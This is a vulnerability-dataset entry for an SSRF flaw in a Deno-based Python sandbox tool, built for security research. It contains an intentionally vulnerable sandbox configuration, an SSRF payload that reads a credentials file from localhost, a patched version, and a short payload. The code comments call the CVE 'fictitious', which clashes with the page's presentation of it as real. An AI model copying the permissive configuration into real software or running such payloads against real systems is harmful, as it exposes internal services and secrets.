VAITP Dataset

← Back to the dataset

CVE-2026-25904

Pydantic-AI's permissive Deno sandbox allows SSRF against the localhost.

  • CVSS 5.8
  • CWE-918
  • Configuration Issues
  • Remote

The Pydantic-AI MCP Run Python tool configures the Deno sandbox with an overly permissive configuration that allows the underlying Python code to access the localhost interface of the host to perform SSRF attacks. Note – the "mcp-run-python" project is archived and unlikely to receive a fix.

CVSS base score
5.8
Published
2026-02-09
OWASP
A10 Server-Side Request Forgery
Orthogonal defect classification
Interface
Code defect classification
Incorrect Check
Category
Configuration Issues
Subcategory
Server-Side Request Forgery (SSRF)
Accessibility scope
Remote
Impact
Unauthorized Access

Solution

No patch is available as the project is archived. Discontinue use of the mcp-run-python tool.

Vulnerable code sample

import subprocess
import sys

# This code represents a vulnerable implementation similar to what was
# described in the fictitious CVE-2026-25904 for "Pydantic-AI MCP Run Python tool".
#
# The vulnerability lies in the `run_python_in_sandbox` function. It uses
# a Deno sandbox to execute code, but configures it with the '--allow-net'
# flag without any restrictions. This allows the sandboxed code to make
# network requests to any address, including the host's localhost interface.
#
# An attacker can provide malicious Python code that, when executed, makes
# a request to an internal service running on the host machine (e.g., a
# database, a private API, or a cloud metadata service). This constitutes a
# Server-Side Request Forgery (SSRF) attack.

def run_python_in_sandbox(untrusted_code: str):
    """
    Executes untrusted Python code inside a Deno sandbox.
    
    VULNERABILITY: The Deno process is started with '--allow-net', which
    is overly permissive and allows the sandboxed code to access the network,
    including the host's localhost, enabling SSRF.
    """
    
    # The command constructs a Deno sandbox.
    # The vulnerability is the inclusion of '--allow-net'
    # which grants the sandboxed code network access.
    # A secure version would either omit this or restrict it,
    # e.g., --allow-net=api.example.com
    deno_command = [
        "deno",
        "run",
        "--allow-net",  # Overly permissive configuration
        "--quiet",
        "-",
    ]

    # The untrusted code is wrapped in a Deno subprocess call that can
    # execute Python. This simulates how the tool might work.
    # The actual vulnerability is that Deno itself can fetch URLs.
    # For this PoC, we will use Deno's native fetch to show the SSRF.
    
    # We will simulate the tool executing JavaScript/TypeScript code
    # that performs the attack, as that is Deno's native environment.
    
    print(f"--- Executing code in sandbox with vulnerable configuration ---")
    
    try:
        process = subprocess.run(
            deno_command,
            input=untrusted_code,
            capture_output=True,
            text=True,
            timeout=10,
        )
        print("--- Sandbox output ---")
        if process.stdout:
            print(process.stdout)
        if process.stderr:
            print(process.stderr, file=sys.stderr)
        print("----------------------")

    except FileNotFoundError:
        print("Error: 'deno' command not found.", file=sys.stderr)
        print("Please install Deno to run this demonstration.", file=sys.stderr)
    except Exception as e:
        print(f"An error occurred: {e}", file=sys.stderr)


if __name__ == "__main__":
    # To demonstrate the vulnerability, we first need a "sensitive" local
    # service to attack. We can simulate one with a simple HTTP server
    # running in a separate terminal:
    #
    # python3 -m http.server 8080
    #
    # Now, create a file named 'internal_system_credentials.txt' in the
    # same directory where you run the server. The attacker's goal is to
    # read this file via the SSRF vulnerability.

    print("Demonstration of CVE-2026-25904 (Fictitious)\n")
    print("This script simulates a tool that runs untrusted code in a Deno sandbox.")
    print("A local server should be running on localhost:8080 to see the SSRF attack.\n")
    print("Run this in a separate terminal: python3 -m http.server 8080\n")

    # Attacker's payload.
    # This is JavaScript code that Deno will execute.
    # It attempts to fetch a resource from the host's localhost.
    # This simulates an attack on an internal service.
    ssrf_attack_payload = """
    console.log("[ATTACKER] Inside the sandbox. Attempting SSRF attack.");
    const targetUrl = 'http://localhost:8080/internal_system_credentials.txt';
    console.log(`[ATTACKER] Targeting sensitive resource at: ${targetUrl}`);

    fetch(targetUrl)
      .then(response => {
        if (!response.ok) {
          throw new Error(`HTTP error! status: ${response.status}`);
        }
        return response.text();
      })
      .then(data => {
        console.log('\\n--- SSRF ATTACK SUCCESSFUL ---');
        console.log('Leaked data from host machine:');
        console.log('==============================');
        console.log(data);
        console.log('==============================');
      })
      .catch(error => {
        console.error('\\n--- SSRF ATTACK FAILED ---');
        console.error('Could not access the target URL.');
        console.error(`Error: ${error.message}`);
      });
    """

    # Run the vulnerable function with the attacker's payload.
    run_python_in_sandbox(ssrf_attack_payload)

Patched code sample

import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer

# This code demonstrates a potential fix for a vulnerability like the one
# described in the fictional CVE-2026-25904. The CVE describes an overly
# permissive Deno sandbox configuration in the "mcp-run-python" tool,
# allowing Server-Side Request Forgery (SSRF) to the localhost interface.
#
# Since the project is archived and no official fix exists, this code
# provides a representative example.
#
# The vulnerability lies in using the `--allow-net` flag without restriction,
# which allows the sandboxed code to make any network request, including
# to sensitive internal endpoints on localhost.
#
# The FIX is to completely REMOVE the `--allow-net` flag. This leverages
# Deno's secure-by-default sandbox, which denies all network access unless
# explicitly permitted. By removing the flag, we prevent the sandboxed
# code from performing any SSRF or other network-based attacks.

# --- Helper code to simulate a sensitive local server ---

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    """A simple handler that simulates a sensitive internal API."""
    def do_GET(self):
        if self.path == '/internal/api/secret':
            self.send_response(200)
            self.send_header('Content-type', 'application/json')
            self.end_headers()
            self.wfile.write(b'{"user": "admin", "secret_key": "sensitive-data"}')
        else:
            self.send_response(404)
            self.end_headers()
            self.wfile.write(b'{"error": "Not Found"}')

def run_mock_server(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler, port=8888):
    """Runs a simple HTTP server in a separate thread."""
    server_address = ('127.0.0.1', port)
    httpd = server_class(server_address, handler_class)
    print(f"Starting mock sensitive server on http://127.0.0.1:{port}...")
    httpd.serve_forever()

# --- Vulnerable vs. Fixed Functions ---

def run_in_deno_sandbox_vulnerable(untrusted_code: str):
    """
    VULNERABLE IMPLEMENTATION:
    Simulates the original vulnerability by using an overly permissive
    '--allow-net' flag, enabling SSRF attacks to localhost.
    """
    command = [
        "deno",
        "run",
        "--quiet",
        "--allow-net",  # VULNERABILITY: Allows any network access
        "-",
    ]
    try:
        process = subprocess.run(
            command,
            input=untrusted_code.encode('utf-8'),
            capture_output=True,
            text=True,
            timeout=5
        )
        return process.stdout, process.stderr
    except FileNotFoundError:
        return "", "Error: 'deno' command not found. Please install Deno."
    except subprocess.TimeoutExpired:
        return "", "Error: Deno process timed out."


def run_in_deno_sandbox_fixed(untrusted_code: str):
    """
    FIXED IMPLEMENTATION:
    The fix is to remove the '--allow-net' flag entirely. Deno's sandbox
    is secure by default and will deny any network-related I/O,
    effectively preventing SSRF attacks.
    """
    command = [
        "deno",
        "run",
        "--quiet",
        # FIX: The '--allow-net' flag is removed. Network access is now denied.
        "-",
    ]
    try:
        process = subprocess.run(
            command,
            input=untrusted_code.encode('utf-8'),
            capture_output=True,
            text=True,
            timeout=5
        )
        return process.stdout, process.stderr
    except FileNotFoundError:
        return "", "Error: 'deno' command not found. Please install Deno."
    except subprocess.TimeoutExpired:
        return "", "Error: Deno process timed out."


# --- Demonstration ---

if __name__ == "__main__":
    # Untrusted code attempting an SSRF attack to a local endpoint
    ssrf_attack_code = """
    // This untrusted code tries to access a sensitive local server.
    try {
        const response = await fetch('http://127.0.0.1:8888/internal/api/secret');
        const data = await response.json();
        console.log(JSON.stringify(data));
    } catch (e) {
        console.error(e.toString());
    }
    """

    # Start the mock sensitive server in the background
    server_port = 8888
    server_thread = threading.Thread(target=run_mock_server, args=(HTTPServer, SimpleHTTPRequestHandler, server_port))
    server_thread.daemon = True
    server_thread.start()
    time.sleep(1) # Give server time to start

    print("-" * 50)
    print("Demonstrating the FIXED implementation...")
    print("Executing untrusted code that attempts an SSRF attack.")
    print("-" * 50)

    # Use the FIXED function
    stdout, stderr = run_in_deno_sandbox_fixed(ssrf_attack_code)

    if "'deno' command not found" in stderr:
        print(stderr, file=sys.stderr)
        sys.exit(1)

    print(f"STDOUT:\n{stdout or 'None'}")
    print(f"STDERR:\n{stderr or 'None'}")

    print("-" * 50)
    if "PermissionDenied: network access" in stderr:
        print("✅ SUCCESS: The fix worked.")
        print("The Deno sandbox correctly blocked the network request to localhost, preventing the SSRF attack.")
    else:
        print("❌ FAILURE: The fix did not work as expected.")
        print("The untrusted code may have been able to perform the network request.")

    # The server runs in a daemon thread, so the script will exit automatically.

Payload

import urllib.request

with urllib.request.urlopen('http://localhost:8000') as response:
    print(response.read().decode('utf-8'))

Cite this entry

@misc{vaitp:cve202625904,
  title        = {{Pydantic-AI's permissive Deno sandbox allows SSRF against the localhost.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-25904},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-25904/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::